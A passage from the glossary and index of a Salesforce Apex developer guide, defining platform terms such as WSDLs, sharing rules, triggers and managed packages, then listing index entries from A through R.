A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text, HTML, or custom format.

Enterprise Edition
A Salesforce edition designed for larger, more complex businesses.

Enterprise WSDL
A strongly-typed WSDL for customers who want to build an integration with their Salesforce organization only, or for partners who are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL is that it only works with the schema of a single Salesforce organization because it is bound to all of the unique objects and fields that exist in that organization’s data model.

Entity Relationship Diagram (ERD)
A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Force.com platform) and define the relationships between them. ERD diagrams for key Salesforce objects are published in the Web Services API Developer’s Guide.

Enumeration Field
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of possible values, all having the same data type.
**Facet**
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.

**Field**
A part of an object that holds a specific piece of information, such as a text or currency value.

**Field Dependency**
A filter that allows you to change the contents of a picklist based on the value of another field.

**Field-Level Security**
Settings that determine whether fields are hidden, visible, read only, or editable for users based on their profiles. Available in Enterprise, Unlimited, and Developer Editions only.

**Force.com**
The salesforce.com platform for building applications in the cloud. Force.com combines a powerful user interface, operating system, and database to allow you to customize and deploy applications in the cloud for your entire enterprise.

**Force.com IDE**
An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse development environment.

**Force.com Migration Tool**
A toolkit that allows you to write an Apache Ant build script for migrating Force.com components between a local file system and a Salesforce organization.

**Foreign key**
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

**Getter Methods**
Methods that enable developers to display database and other computed values in page markup. Methods that return values. See also Setter Methods.

**Global Variable**
A special merge field that you can use to reference data in your organization.

A method access modifier for any method that needs to be referenced outside of the application, either in the Web services API or by other Apex scripts.

**Governor limits**
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce users.

**Gregorian Year**
A calendar based on a twelve month structure used throughout much of the world.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

HTTP Debugger
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy servers running on your local machine and allow you to inspect and author individual requests.

ID
See Salesforce Record ID.

IdeaExchange
A forum where salesforce.com customers can suggest new product concepts, promote favorite enhancements, interact with product managers and other customers, and preview what salesforce.com is planning to deliver in future releases. Visit IdeaExchange at ideas.salesforce.com.

Import Wizard
A tool for importing data into your Salesforce organization, accessible from Setup.

Instance
The cluster of software and hardware represented as a single logical server that hosts an organization’s data and runs their applications. The Force.com platform runs on multiple instances, but data for any single organization is always consolidated on a single instance.

Integrated Development Environment (IDE)
A software application that provides comprehensive facilities for software developers including a source code editor, testing and debugging tools, and integration with source code control systems.

Integration User
A Salesforce user defined solely for client apps or integrations. Also referred to as the logged-in user in a Web services API context.

ISO Code
The International Organization for Standardization country code, which represents each country by two letters.

Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many” relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.

Key Pair
See Salesforce Certificate and Key Pair.
Keyword

Keywords are terms that you purchase in Google AdWords. Google matches a search phrase to your keywords, causing your advertisement to trigger on Google. You create and manage your keywords in Google AdWords.

Length

Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.

Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3.

List Custom Settings

A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don’t have to use SOQL queries that count against your governor limits.

List View

A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce provides some predefined views.

In the Console tab, the list view is the top frame that displays a list view of records based on specific criteria. The list views you can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within the console.

Local Name

The value stored for the field in the user’s or account’s language. The local name for a field is associated with the standard name for that field.

Locale

The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale.

In Professional, Enterprise, Unlimited, and Developer Edition organizations, a user’s individual Locale setting overrides the organization’s Default Locale setting. In Personal and Group Editions, the organization-level locale field is called Locale, not Default Locale.

Long Text Area

Data type of custom field that allows entry of up to 32,000 characters on separate lines.

Lookup Relationship

A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that have been linked to it. A lookup relationship has no effect on record deletion or security, and the lookup field is not required in the page layout.
M

Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer.

Manual Sharing
Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to the record any other way.

Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are implemented through the use of junction objects.

Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout.

Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses XML to describe metadata.

Metadata-Driven Development
An app development model that allows apps to be defined as declarative “blueprints,” with no code required. Apps built on the platform—their data models, objects, forms, workflows, and more—are defined by metadata.

Metadata WSDL
A WSDL for users who want to use the Force.com Metadata API calls.

Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.

MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data in a user interface (the view), and ways of manipulating that data with business logic (the controller).

N

Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers onAppExchange, similar to a domain name. Salesforce automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component names in your Salesforce organization.

Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external services or infrastructure.
Object

An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information about Mary Johnson's configuration issue.

Object-Level Help

Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists.

Object-Level Security

Settings that allow an administrator to hide whole tabs and objects from a user so that he or she does not know that type of data exists. On the platform you set object-level access rules with object permissions on user profiles.

One-to-Many Relationship

A relationship in which a single object is related to many other objects. For example, an account may have one or more related contacts.

Organization

A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer of salesforce.com. Your organization includes all of your data and applications, and is separate from all other organizations.

Organization-Wide Defaults

Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can make it so that any user can see any record of a particular object that is enabled in their user profile, but that they need extra permissions to edit one.

Outbound Call

Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.

Outbound Message

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Outbound messaging is configured in the Salesforce setup menu. Then you must configure the external endpoint. You can create a listener for the messages using the Web services API.

Owner

Individual user to which a record (for example, a contact or case) is assigned.

P

PaaS

See Platform as a Service.

Package

A group of Force.com components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together.
Package Dependency

This is created when one component references another component, permission, or preference that is required for the component to be valid. Components can include but are not limited to:

- Standard or custom fields
- Standard or custom objects
- Visualforce pages
- Apex scripts

Permissions and preferences can include but are not limited to:

- Divisions
- Multicurrency
- Record types

Package Version

A package version is a number that identifies the set of components uploaded in a package. The version number has the format `majorNumber.minorNumber.patchNumber` (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The `patchNumber` is generated and updated only for a patch release. If there is no `patchNumber`, it is assumed to be zero (0).

Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization.

Package Installation

Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package to make it generally available to the users in your organization.

Parameterized Typing

Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual data types upon construction.

Partner WSDL

A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work across multiple Salesforce organizations. With this WSDL, the developer is responsible for marshaling data in the correct object representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular data model or Salesforce organization. Contrast this with the Enterprise WSDL, which is strongly typed.

Personal Edition

Product designed for individual sales representatives and single users.

Platform as a Service (PaaS)

An environment where developers use programming tools offered by a service provider to create applications and deploy them in a cloud. The application is hosted as a service and provided to customers via the Internet. The PaaS vendor provides an API for creating and extending specialized applications. The PaaS vendor also takes responsibility for the daily maintenance, operation, and support of the deployed application and each customer’s data. The service alleviates the need for programmers to install, configure, and maintain the applications on their own hardware, software, and related IT resources. Services can be delivered using the PaaS environment to any market segment.
Platform Edition
A Salesforce edition based on either Enterprise Edition or Unlimited Edition that does not include any of the standard Salesforce CRM apps, such as Sales or Service & Support.

Primary Key
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record. This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

Production Organization
A Salesforce organization that has live users accessing data.

Professional Edition
A Salesforce edition designed for businesses who need full-featured CRM functionality.

Prototype
The classes, methods and variables that are available to other Apex scripts.

Q
Query Locator
A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that was returned.

Query String Parameter
A name-value pair that's included in a URL, typically after a '?' character. For example:

http://na1.salesforce.com/001/e?name=value

R
Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.

Record ID
See Salesforce Record ID.

Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the records that the user is allowed to see.

Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing settings. Salesforce automatically locks records that are pending approval. Users must have the “Modify All” object-level permission for the given object, or the “Modify All Data” permission, to edit locked records. The Initial Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions by default. You cannot edit this default action for initial submission and recall actions.
Record Name
A standard field on all Salesforce objects. Whenever a record name is displayed in a Force.com application, the value is represented as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does not have to be a unique value.

Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar.

Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company.

Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child and child-to-parent syntax differs in SOQL queries.

Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.

Roll-Up Summary Field
A field type that automatically provides aggregate values from child records in a master-detail relationship.

Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running user is a specific user, all dashboard viewers see data based on the security settings of that user—regardless of their own personal security settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each user sees the dashboard according to his or her own access level.

S
SaaS
See Software as a Service (SaaS).

S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.

Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.

Salesforce Record ID
A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.

Salesforce SOA (Service-Oriented Architecture)
A powerful capability of Force.com that allows you to make calls to external Web services from within Apex.
Sandbox Organization
A nearly identical copy of a Salesforce production organization. You can create multiple sandboxes in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your production environment.

Semi-Join
A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced queries, such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.

Session ID
An authentication token that is returned when a user successfully logs in to Salesforce. The Session ID prevents a user from having to log in again every time he or she wants to perform another action in Salesforce. Different from a record ID or Salesforce ID, which are terms for the unique ID of a Salesforce record.

Session Timeout
The period of time after login before a user is automatically logged out. Sessions expire automatically after a predetermined length of inactivity, which can be configured in Salesforce by clicking Your Name ➤ Setup ➤ Security Controls. The default is 120 minutes (two hours). The inactivity timer is reset to zero if a user takes an action in the Web interface or makes an API call.

Setter Methods
Methods that assign values. See also Getter Methods.

Setup
An administration area where you can customize and define Force.com applications. Access Setup through the Your Name ➤ Setup link at the top of Salesforce pages.

Sharing
Allowing other users to view or edit information you own. There are different ways to share data:

- Sharing Model—defines the default organization-wide access levels that users have to each other’s information and whether to use the hierarchies when determining access to data.
- Role Hierarchy—defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
- Sharing Rules—allow an administrator to specify that all information created by users within a given group or role is automatically shared to the members of another group or role.
- Manual Sharing—allows individual users to share a specific account or opportunity with other users or groups.
- Apex-Managed Sharing—enables developers to programmatically manipulate sharing to support their application’s behavior. See Apex-Managed Sharing.

Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.

Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created by users within a given group or role.

Sites
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce organization—without requiring users to log in with a username and password.
SOAP (Simple Object Access Protocol)
A protocol that defines a uniform way of passing XML-encoded data.

sObject
Any object that can be stored in the Force.com platform.

Software as a Service (SaaS)
A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor takes responsibility for the daily maintenance, operation, and support of the application and each customer’s data. The service alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT resources. Services can be delivered using the SaaS model to any market segment.

SOQL (Salesforce Object Query Language)
A query language that allows you to construct simple but powerful query strings and to specify the criteria that should be used to select data from the Force.com database.

SOSL (Salesforce Object Search Language)
A query language that allows you to perform text-based searches using the Force.com API.

Standard Object
A built-in object included with the Force.com platform. You can also build custom objects to store information that is unique to your app.

System Log
A separate window console that can be used for debugging code snippets. Enter the code you want to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also displays debugging information.

Tag
In Salesforce, a word or short phrases that users can associate with most records to describe and organize their data in a personalized way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members). Tags can also be accessed through the Web services API.

In Salesforce CRM Content, a descriptive label that helps classify and organize content across workspaces. Users can view a list of all files or Web links that belong to a particular tag or filter search results based on a tag or tags.

Test Case Coverage
Test cases are the expected real-world scenarios in which your code will be used. Test cases are not actual unit tests, but are documents that specify what your unit tests should do. High test case coverage means that most or all of the real-world scenarios you have identified are implemented as unit tests. See also Code Coverage and Unit Test.

Test Method
An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit no data to the database, and can be executed by the runTests() system method either through the command line or in an Apex IDE, such as the Force.com IDE.

Test Organization
A Salesforce organization used strictly for testing. See also Sandbox Organization.
Trigger
A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in bulk mode—that is, they process several records at once, rather than just one record at a time.

Trigger Context Variable
Default variables that provide access to information about the trigger and the records that caused it to fire.

Unit Test
A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it works correctly. See also Test Method.

Unlimited Edition
Unlimited Edition is salesforce.com’s flagship solution for maximizing CRM success and extending that success across the entire enterprise through the Force.com platform.

Unmanaged Package
A package that cannot be upgraded or controlled by its developer.

URL (Uniform Resource Locator)
The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com.

User Acceptance Testing (UAT)
A process used to confirm that the functionality meets the planned requirements. UAT is one of the final stages before deployment to production.

Validation Rule
A rule that prevents a record from being saved if it does not meet the standards that are specified.

Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes and triggers; and Visualforce pages and components.

View
The user interface in the Model-View-Controller model, defined by Visualforce.

View State
Where the information necessary to maintain the state of the database between requests is saved.

Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller written in Apex.

Visualforce Controller
See Controller, Visualforce.
Visualforce Lifecycle

The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.

Visualforce Page

A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style.

W

Web Service

A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are written in different languages, or are geographically remote from each other.

WebService Method

An Apex class method or variable that can be used by external systems, like a mash-up with a third-party application. Web service methods must be defined in a global class.

Web Services API

A SOAP-based Web services application programming interface that provides access to your Salesforce organization’s information. See also Bulk API.

Workflow and Approval Actions

Workflow and approval actions consist of email alerts, tasks, field updates, and outbound messages that can be triggered by a workflow rule or approval process.

Wrapper Class

A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across components. Examples of wrapper classes in Salesforce include the AJAX Toolkit, which is a JavaScript wrapper around the Salesforce Web services API, wrapper classes such as Critical Section in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes created as part of a client integration application that accesses Salesforce using the Web services API.

WSDL (Web Services Description Language) File

An XML file that describes the format of messages you send and receive from a Web service. Your development environment’s SOAP client uses the Salesforce Enterprise WSDL or Partner WSDL to communicate with Salesforce using the Web services API.

X

XML (Extensible Markup Language)

A markup language that enables the sharing and transportation of structured data. All Force.com components that are retrieved or deployed through the Metadata API are represented by XML definitions.

Y

No Glossary items for this entry.

Z

No Glossary items for this entry.
Index

A

Abstract definition modifier 90
Access modifiers 96
Action class
  instantiation 345
  methods 345
  understanding 344
addError(), triggers 79
After triggers 68
Aggregate functions 59
AJAX support 86
ALL ROWS keyword 63
Anchoring bounds 369
Annotations
  deprecated 113
  future 114
  isTest 115
  ReadOnly 115
  RemoteAction 116
  understanding 113
Anonymous blocks
  transaction control 64
  understanding 85
Answers class 409
Ant tool 432
AnyType data type 28
Apex
  designing 127
  flow data type conversions 430
  from WSDL 208
  how it works 9
  introducing 7
  invoking 67
  learning 11
  managed sharing 163
  overview 8
  testing 129, 130
  when to use 14
API calls, Web services
  custom 200
  executeAnonymous 85
  retrieveCode 435
  runTests 135
API calls, Web Services
  available for Apex 460
AppExchange
  managed package versions 193, 194
Approval processes
  approval methods 292
  example 404
  overview 403
  ProcessRequest class 404
  ProcessResult class 405
  ProcessSubmitRequest class 405
  ProcessWorkItemRequest class 406
Arrays and lists 35
Assignment statements 50
Async Apex 114
Asynchronous callouts 114

B

Batch Apex
  database object 301
  interfaces 156
  schedule 80
  using 156
Batch size, SOQL query for loop 55
Before triggers 68
Best practices
  Apex 127
  Apex scheduler 84
  batch Apex 162
  programming 127
  SOQL queries 61
  testing 136
  triggers 127
  WebService keywords 200
Binds 62
Blob data type 28
Blob methods 237
Boolean data type 28
Boolean methods 238
Bounds, using with regular expressions 369
Bulk processing and triggers
  retry logic and inserting records 73
  understanding 72
BusinessHours class 407

C

Callouts
  asynchronous 114
  defining from a WSDL 204
  execution limits 188
  HTTP 211
  invoking 203
  limit methods 304
  limits 214
  remote site settings 204
  timeouts 214
Calls
  compileAndTest 460
  compileClasses 464
  compileTriggers 465
  executeAnonymous() 466
  runTests 135
  runTests() 467
Capturing groups 370, 373
Case sensitivity 42
Casting
  collections 118
  understanding 117
Certificates
  generating 212
  HTTP requests 214
  SOAP 213
  using 212
Chaining, constructor 109
Character escape sequences 28
Chatter 79
Chunk size, SOQL query for loop 55
Database objects
  methods 301
  understanding 301
Database.Batchable 156, 170
Database.BatchableContext 157
Date
  data type 28
  methods 238
Datetime
  data type 28
  methods 240
Deadlocks, avoiding 64
Debug console 179
Debug log, retaining 177
Debugging
  API calls 187
  classes created from WSDL documents 211
  Hello World example 23
  log 177
Decimal
  data type 28
  methods 244
  rounding modes 247
Declaring variables 41
Defining a class from a WSDL 204
Delete database method 221
Delete statement 221
DeleteResult object 222
deploy call 433
Deploying
  additional methods 437
  Force.com IDE 432
  understanding 431
  using Force.com Migration Tool 432
Deprecated annotation 113
Deprecating 194
Describe field result, methods 279
Describe information
  access all fields 146
  access all sObjects 146
  permissions 143
  understanding 143
Describe results
  fields 145, 279
  sObjects 144
Design patterns 127
Developer Edition 10
Development
  process 10
  security 452
DML operations
  behavior 235
  convertLead 218
  error object 304
  exception handling 236
  execution limits 188
  limit methods 304
  understanding 217
  unsupported sObjects 234
DML statements
  delete 221
  insert 223
  merge 225
  undelete 226
  update 228
  upsert 230
DMLException methods 326
DMLOptions
  methods 301
Do-while loops 53
Document class 397
Documentation typographical conventions 16
DOM 397
Double
  data type 28
  methods 249
Dynamic Apex
  foreign keys 152
  understanding 142
Dynamic DML 152
Dynamic SOQL 151
Dynamic SOSL 152
E
Eclipse, deploying Apex 437
Email
  attachments 335
  inbound 337
  outbound 327, 335, 336
Email service
  InboundEmail object 339
  InboundEmail.BinaryAttachment object 341
  InboundEmail.Header object 340
  InboundEmail.TextAttachment object 341
  InboundEmailResult object 341
  InboundEnvelope object 342
  understanding 337
EmailException methods 326
EmptyRecycleBinResult
  methods 304
EncodingUtil class 389
Encryption 383
Enterprise Edition, deploying Apex 431
Enums
  methods 268
  understanding 39
Error object
  DML 304
  methods 304
Escape sequences, character 28
Events, triggers 69
Exceptions
  class 342
  constructing 342
  DML 236
  methods 326
  throw statements 66
  trigger 79
  try-catch-finally statements 66
  types 66, 324
  uncaught 188
  understanding 65
  variables 344
executeanonymous call 85
executeanonymous() call 466
Execution governors
  email warnings 191
  understanding 188
Execution order, triggers 76
Expressions
  extending sObject and list 50
  operators 44
  overview 43
  regular 368, 371
Expressions (continued)
  understanding 43

F

Features, new 15
Field-level security and custom API calls 200
Fields
  access all 146
  accessing 32
  accessing through relationships 33
  describe results 145, 279
  see also sObjects 58
  that cannot be modified by triggers 79
  tokens 145
  validating 34
final keyword 42, 108
Flow
  data type conversions 430
  Process.Plugin Interface 426
  Process.PluginDescribeResult 429
  Process.PluginRequest 427
  Process.PluginResult 428
For loops
  list or set iteration 55
  SOQL locking 64
  SOQL queries 55
  traditional 54
  understanding 53
FOR UPDATE keyword 64
Force.com
  managed sharing 163
Force.com IDE, deploying Apex 432
Force.com Migration Tool
  additional deployment methods 437
  deploying Apex 432
Foreign keys and SOQL queries 62
Formula fields, dereferencing 58
Functional tests
  for SOSL queries 133
  running 134
  understanding 131
Future annotation 114

G

Get accessors 100
Global access modifier 90, 96
Governors
  email warnings 191
  execution 188
  limit methods 304
Groups, capturing 370

H

Headers
  PackageVersionHeader 473
Heap size
  execution limits 188
  limit methods 304
Hello World example
  adding tests 23
  understanding 21
Hierarchy custom settings
  examples 287
How to invoke Apex 67

Http class 380
HTTP requests
  using certificates 214
HttpRequest class 380
HttpResponse class 382

I

ID data type 28
Ideas class 410
IdeaStandardController class
  instantiation 346
  methods 346
  understanding 345
IdeaStandardSetController class
  instantiation 348
  methods 348
  understanding 348
Identifiers, reserved 450
IDEs 12
If-else statements 52
In clause, SOQL query 62
InboundEmail object 338, 339
InboundEmail.BinaryAttachment object 341
InboundEmail.Header object 340
InboundEmail.TextAttachment object 341
InboundEmailResult object 341
InboundEnvelope object 342
Initialization code
  instance 97, 99
  static 97, 99
  using 99
Inline SOQL queries
  locking rows for 64
  returning a single record 61
Insert database method 223
Insert statement 223
Instance
  initialization code 97, 99
  methods 97, 98
  variables 97, 98
instanceof keyword 108
Integer
  data type 28
  methods 250
Interfaces 103
  Apex 419
  Iterable 106
  Iterator 106
  parameterized typing 104
  Schedulable 80
Invoking Apex 67
isAfter trigger variable 70
isBefore trigger variable 70
isDelete trigger variable 70
isExecuting trigger variable 70
isInsert trigger variable 70
IsTest annotation 115
IsUndeleted trigger variable 70
isUpdate trigger variable 70
IsValid flag 73, 120
Iterators
  custom 106
  Iterable 107
  using 106
K

Keywords
  ALL ROWS 63
  final 42, 108
  FOR UPDATE 64
  instanceof 108
  reserved 450
  super 108
  testMethod 131
  this 109
  transient 110
  webService 200
  with sharing 111
  without sharing 111

KnowledgeArticleVersionStandardController class
  methods 352
  understanding 352

L

L-value expressions 43
Language
  concepts 17
  constructs 27
LeadConvertResult object 220
Learning Apex 11
Limit clause, SOQL query 62
Limitations, Apex 15
Limits
  code execution 188
  code execution email warnings 191
  determining at runtime 304
  methods 132, 304
List iteration for loops 55
List size, SOQL query for loop 55
Lists
  about 34
  array notation 35
  defining 34
  expressions 50
  iterating 39
  methods 257
  sObject 36
Literal expressions 43
Local variables 97
Locking statements 64
Log, debug 177
Long
  data type 28
  methods 251
Loops
  do-while 53
  execution limits 188
  see also For loops 53
  understanding 52
  while 53

M

Managed packages
  AppExchange 122
  package versions 194
  version settings 124
  versions 193, 194, 195, 196
Managed sharing 163
Manual sharing 163

Maps
  creating from sObject arrays 38
  iterating 39
  methods 262
  understanding 37
Matcher class
  bounds 369
  capturing groups 370
  example 370
  methods 373
  regions 369
  searching 369
  understanding 368
  using 368
Matcher methods
  See also Pattern methods 373
Math methods 307
Merge statements
  triggers and 75
  understanding 225
Message class
  instantiation 356
  methods 356
  severity enum 356
  understanding 355
Message severity 356
Metadata API call
deploy 433
Methods
  access modifiers 96
  action 345
  ApexPages 291
  approval 292
  blob 237
  boolean 238
  custom settings 285
  data Categories 269
  date 238
  datetime 240
  decimal 244
  DescribeSObjectResult object 276
  DMLOptions 301
  double 249
  enum 268
  error object 304
  exception 324
  field describe results 279
  IdeaStandardController 346
  IdeaStandardSetController 348
  instance 97, 98
  integer 250
  KnowledgeArticleVersionStandardController 352
  limits 304
  list 257
  long 251
  map 37, 262
  matcher 373
  math 307
  message 356
  namespace prefixes and 123
  package 311
  pageReference 357
  passing-by-reference 94
  pattern 371
  QueryLocator 301
  recursive 94
  reserveMassEmailCapacity 336
  reserveSingleEmailCapacity 336
Methods (continued)
schema 269
search 312
SelectOption 361
sendEmail 327, 335, 336
set 36, 265
setFixedSearchResults 133
sObject 273
standard 236
StandardController 363
StandardSetController 366
static 97, 98
string 251
system 313
test 321
time 256
user-defined 94
userInfo 323
using with classes 94
void with side effects 94
XML Reader 391
XmlStreamWriter 395

N
Namespace
  precedence 123
  prefixes 122
  type resolution 124
Nested lists 34
New features in this release 15
new trigger variable 70
newMap trigger variable 70
Not In clause, SOQL query 62

O
Object
  data types 28, 31
  lists 36
  old trigger variable 70
  oldMap trigger variable 70
Onramping 11
Opaque bounds 369
Operations
  DML 217
  DML exceptions 236
Operators
  precedence 49
  understanding 44
Order of trigger execution 76
Overloading custom API calls 202

P
Package methods 311
Packages, namespaces 122
PackageVersionHeader headers 473
PageReference class
  instantiation 357
  methods 357
  navigation example 360
  query string example 359
  understanding 356
Pages, Visualforce 344
Parameterized typing 104
Parent-child relationships
  SOQL queries 62
  understanding 43
Pass by reference, sObjects 31
Passed by value, primitives 28
Passing-by-reference 94
Pattern class
  example 370
  understanding 368
  using 368
Pattern methods 371
Permissions and custom API calls 200
Person account triggers 78
Polymorphic, methods 94
Precedence, operator 49
Primitive data types
  passed by value 28
Private access modifier 90, 96
Process.Plugin interface
  data type conversions 430
  Process.PluginDescribeResult class 426, 429
  Process.PluginDescribeResult.InputParameter class 426, 429
  Process.PluginDescribeResult.OutputParameter class 426, 429
  Process.PluginRequest class 427
  Process.PluginResult class 428
  Process.PluginDescribeRequest class 426, 429
  Process.PluginDescribeResult.InputParameter class 426, 429
  Process.PluginDescribeResult.OutputParameter class 426, 429
  Process.PluginRequest class 427
  Process.PluginResult class 428
  Processing, triggers and bulk 69
  ProcessRequest class 404
  ProcessResult class 405
  ProcessSubmitRequest class 405
  ProcessWorkitemRequest class 406
Production organizations, deploying Apex 431
Profiles, setting access to classes 122
Programming patterns
  triggers 127
Properties 100
Protected access modifier 90, 96
Public access modifier 90, 96

Q
Queries
  execution limits 188
  SOQL and SOSL 57
  SOQL and SOSL expressions 43
  working with results 58
Quick start 15

R
ReadOnly annotation 115
Reason field values 164
Recalculating sharing 170
Record ownership 163
Recovered records 76
Recursive
  methods 94
  triggers 68
Regions and regular expressions 369
Regular expressions
  bounds 369
  grouping 373
  regions 369
Variables (continued)
